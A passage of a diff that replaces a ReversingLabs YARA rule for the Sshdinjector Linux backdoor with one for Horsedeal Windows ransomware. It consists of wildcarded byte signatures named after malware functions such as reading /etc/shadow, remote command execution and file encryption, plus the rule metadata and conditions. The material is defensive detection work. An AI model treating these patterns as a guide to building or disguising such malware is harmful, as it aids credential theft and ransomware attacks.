?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? + ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? + 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 8E ?? ?? ?? ?? 33 } - $main_routine_v2_p3 = { - C7 C1 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 8B BD ?? ?? ?? ?? F2 AE - 48 89 C8 48 F7 D0 48 83 E8 ?? 0F B7 C8 4C 8D 8D ?? ?? ?? ?? 8B 45 ?? 0F B7 D0 48 8D - B5 ?? ?? ?? ?? 8B 7D ?? 41 89 C8 4C 89 C9 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? - 0F B6 40 ?? 3C ?? 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 75 ?? BE ?? ?? ?? - ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? BA ?? ?? - ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B 45 ?? 0F B7 40 ?? 0F - B7 D0 48 8B 7D ?? 48 83 C7 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B7 40 ?? - 0F B7 D0 8B 05 ?? ?? ?? ?? 8D 04 02 89 05 ?? ?? ?? ?? 48 8B 45 ?? 0F B7 50 ?? 0F B7 - 05 ?? ?? ?? ?? 66 39 C2 0F 84 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 - 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? FC B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 - AA 8B 15 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8D B5 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 + $encrypt_files_p2 = { + FF 8D 49 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? 33 F6 8D 51 ?? EB ?? 8D 49 ?? 8A 01 41 84 C0 75 ?? 2B CA 74 ?? BB ?? ?? ?? ?? + 8A 84 35 ?? ?? ?? ?? 3C ?? 7C ?? 3C ?? 7F ?? 0F BE C0 83 E8 ?? 99 F7 FB 80 C2 ?? EB + ?? 3C ?? 7C ?? 3C ?? 7F ?? 0F BE C0 83 E8 ?? 99 F7 FB 80 C2 ?? 88 94 35 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 46 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F0 72 ?? 8B 9D ?? ?? ?? + ?? 6A ?? 6A ?? 57 53 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8D 9B ?? ?? ?? ?? + 8A 01 41 84 C0 75 ?? 6A ?? 8D 85 ?? ?? ?? ?? 2B CA 50 51 8D 85 ?? ?? ?? ?? 50 53 FF + 15 ?? ?? ?? ?? 03 BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 3B BD ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 53 FF 15 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? + 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 } condition: - uint32( 0 ) == 0x464C457F and ( ( ( all of ( $send_result_to_peer_v1_p* ) ) and ( $execute_remote_command_v1 ) and ( all of ( $send_reply_v1_p* ) ) and ( $daemon_already_running_check_v1 ) ) or ( ( all of ( $send_result_to_peer_v2_p* ) ) and ( $execute_remote_command_v2 ) and ( all of ( $main_routine_v2_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and ( $search_files ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Linux_Backdoor_Sshdinjector : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Horsedeal : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Sshdinjector backdoor." + description = "Yara rule that detects Horsedeal ransomware." author = "ReversingLabs" - id = "781d7a64-0908-5aa8-a178-cffe52e78036" - date = "2025-03-27" - modified = "2025-03-27" + id = "c722bc5b-756e-5d46-8530-e20ebb73737c" + date = "2020-10-01" + modified = "2020-10-01" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.Sshdinjector.yara#L1-L197" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Horsedeal.yara#L1-L106" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9370b59a3317ac14b5791723411216315e480fad7419d248aaed42a19312da0c" + logic_hash = "fa8c425b08606399b5dc7673f3898e3dba7efb6a62e56db8f500cf5072bb590b" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Sshdinjector" - tc_detection_factor = 5 + tc_detection_type = "Ransomware" + tc_detection_name = "Horsedeal" + tc_detection_factor = 5 importance = 25 strings: - $kill_and_restart_daemons_p1 = { - 55 48 89 E5 48 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 8D 55 - ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 D7 F3 48 AB 48 89 FA 89 02 48 83 C2 ?? 48 8D - 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 D7 F3 48 AB 48 89 FA 89 02 48 83 - C2 ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 - 40 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 - 89 C1 BA ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C6 48 8B 05 ?? ?? ?? ?? 48 89 C7 E8 - ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 48 - 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 48 8B 05 ?? - ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 8D 85 ?? - ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 - } - $kill_and_restart_daemons_p2 = { - 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? 48 - 8B 05 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? - 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 - 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 94 C0 84 C0 0F 84 ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 81 7D - ?? ?? ?? ?? ?? 0F 9E C0 84 C0 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 48 8D 45 - ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 - E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? C9 C3 - } - $network_communication_p1 = { - 55 48 89 E5 41 54 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? - ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8D 78 ?? E8 ?? ?? ?? ?? 48 8D 50 ?? 48 8B 05 ?? - ?? ?? ?? 48 8D 04 02 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 66 89 45 ?? 48 - 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 03 45 ?? 48 89 45 ?? 48 8B 45 ?? 48 - 89 C7 E8 ?? ?? ?? ?? 66 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 - 03 45 ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 C2 48 8B 05 ?? ?? ?? ?? - 66 89 10 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8D - 71 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 0F B7 00 0F B7 C8 0F B7 55 ?? 0F - B7 45 ?? 41 89 C8 89 D1 89 C2 48 8B 05 ?? ?? ?? ?? 48 8D 70 ?? 48 8D 3D ?? ?? ?? ?? - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 - ?? ?? ?? ?? 0F B7 00 66 85 C0 0F 84 ?? ?? ?? ?? 44 0F B7 65 ?? 0F B7 5D ?? 48 8D 45 - ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 8D ?? ?? ?? ?? 48 8D 45 ?? 48 89 CE 48 - } - $network_communication_p2 = { - 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 4C 8D 05 ?? ?? ?? ?? B9 ?? ?? ?? ?? 44 89 E2 89 DE - 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 - 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 89 D3 49 89 C4 - 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 48 89 C7 E8 ?? ?? ?? ?? 48 8D - 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 44 - 0F B7 65 ?? 0F B7 5D ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 8D ?? - ?? ?? ?? 48 8D 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 4C 8D 05 ?? ?? ?? - ?? B9 ?? ?? ?? ?? 44 89 E2 89 DE 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8D 45 ?? 48 - 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 - E0 48 63 D3 EB ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 - D3 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 - E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 41 5C C9 C3 - } - $read_etc_shadow_p1 = { - 55 48 89 E5 41 54 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 - 95 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 - 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 - ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 - 89 C7 E8 ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? - ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 8D - 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 - ?? ?? ?? ?? 48 83 C0 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 89 - D6 48 89 C7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? - 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? BB ?? - ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? 48 8D 3D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 41 BC ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 55 - ?? 41 B9 ?? ?? ?? ?? 41 89 D0 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 ?? 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? 48 8D - 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B - 45 ?? 48 89 45 ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? - ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 0F B6 00 + $search_processes = { + 55 8B EC 81 EC ?? ?? ?? ?? 56 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 8D + 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 + FF 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF B5 ?? ?? ?? + ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 53 FF + 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5B 56 FF 15 ?? + ?? ?? ?? 5E C9 C3 } - $read_etc_shadow_p2 = { - 3C ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 0F B6 00 3C ?? 0F 84 ?? ?? ?? ?? 48 - 8B 45 ?? 89 C2 48 8B 45 ?? 89 D1 29 C1 89 C8 89 45 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? - ?? ?? 8B 45 ?? 48 63 D0 48 8D 4D ?? 48 8B 5D ?? 48 8D 45 ?? 48 89 DE 48 89 C7 E8 ?? - ?? ?? ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 49 89 - C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D 45 ?? 48 89 C7 - E8 ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 - 63 D3 E9 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 95 ?? ?? - ?? ?? 48 83 C2 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 35 ?? ?? ?? ?? - 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 74 ?? 48 8B 45 ?? 48 83 C0 ?? 48 - 89 45 ?? 48 8B 85 ?? ?? ?? ?? 48 03 45 ?? 48 3B 45 ?? 0F 97 C0 84 C0 0F 85 ?? ?? ?? - ?? EB ?? 90 EB ?? 90 8B 45 ?? 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C2 48 - 8B 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B - 9D ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 89 DE 48 89 C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? EB - ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D - 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 85 DB 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? - 89 D3 49 89 C4 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? - 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 DB 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? - ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 - 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 85 DB 74 ?? EB ?? 44 89 - E0 48 81 C4 ?? ?? ?? ?? 5B 41 5C C9 C3 + $enum_resources = { + 55 8B EC 83 E4 ?? 83 EC ?? 83 0C 24 ?? 8D 44 24 ?? 53 56 57 50 FF 75 ?? C7 44 24 ?? + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 ?? E8 ?? ?? ?? + ?? 8B F0 85 F6 74 ?? EB ?? 33 DB 39 5C 24 ?? 76 ?? 8D 7E ?? F6 47 ?? ?? 74 ?? 8D 47 + ?? 50 E8 ?? ?? ?? ?? EB ?? FF 37 E8 ?? ?? ?? ?? 43 83 C7 ?? 59 3B 5C 24 ?? 72 ?? 8D + 44 24 ?? 50 56 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B CE E8 ?? + ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 } - $list_running_services_p1 = { - 55 48 89 E5 41 57 41 56 41 55 41 54 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 89 - B5 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 - ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? - 48 8D 55 ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 89 D3 49 - 89 C4 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 E9 ?? ?? ?? ?? 48 8D 45 - ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 83 C0 ?? 48 8D 35 ?? ?? ?? ?? 48 - 89 C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? - ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 74 ?? - 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 41 BF ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 - ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 0F 94 C0 84 C0 74 ?? - 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 41 BF ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C7 E8 - ?? ?? ?? ?? 48 89 45 ?? E9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 15 ?? - ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? - ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 + $find_files = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 53 56 8B 35 ?? ?? ?? ?? 57 + 8B 7D ?? 74 ?? 68 ?? ?? ?? ?? 57 FF D6 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? + ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? + ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83 + C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D + 44 24 ?? 50 FF D6 85 C0 74 ?? 53 E8 ?? ?? ?? ?? 59 EB ?? 8B 44 24 ?? A8 ?? 74 ?? 68 + ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? + 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 8B CB E8 ?? ?? + ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 + ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? + ?? ?? 83 C4 ?? 33 FF 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? + ?? ?? 8B F0 89 74 24 ?? 83 FE ?? 74 ?? 57 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 68 ?? ?? + ?? ?? FF D7 50 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 6A ?? 8D 44 24 ?? 50 FF 35 + ?? ?? ?? ?? FF D7 8B 7C 24 ?? 50 FF 35 ?? ?? ?? ?? 57 FF D6 57 FF 15 ?? ?? ?? ?? 8B + CB E8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 } - $list_running_services_p2 = { - 8D 95 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 0F 85 ?? ?? ?? ?? - BB ?? ?? ?? ?? 41 BC ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? - ?? 41 BE ?? ?? ?? ?? 48 8B 45 ?? 48 8D 48 ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 CE 48 89 - C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? - ?? ?? 84 C0 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? 48 8B 45 ?? - 48 8D 48 ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 41 BD ?? ?? ?? - ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 84 C0 74 ?? B8 ?? ?? ?? - ?? EB ?? B8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 45 84 ED 75 ?? EB ?? 41 89 D7 48 89 85 ?? - ?? ?? ?? 45 84 ED 74 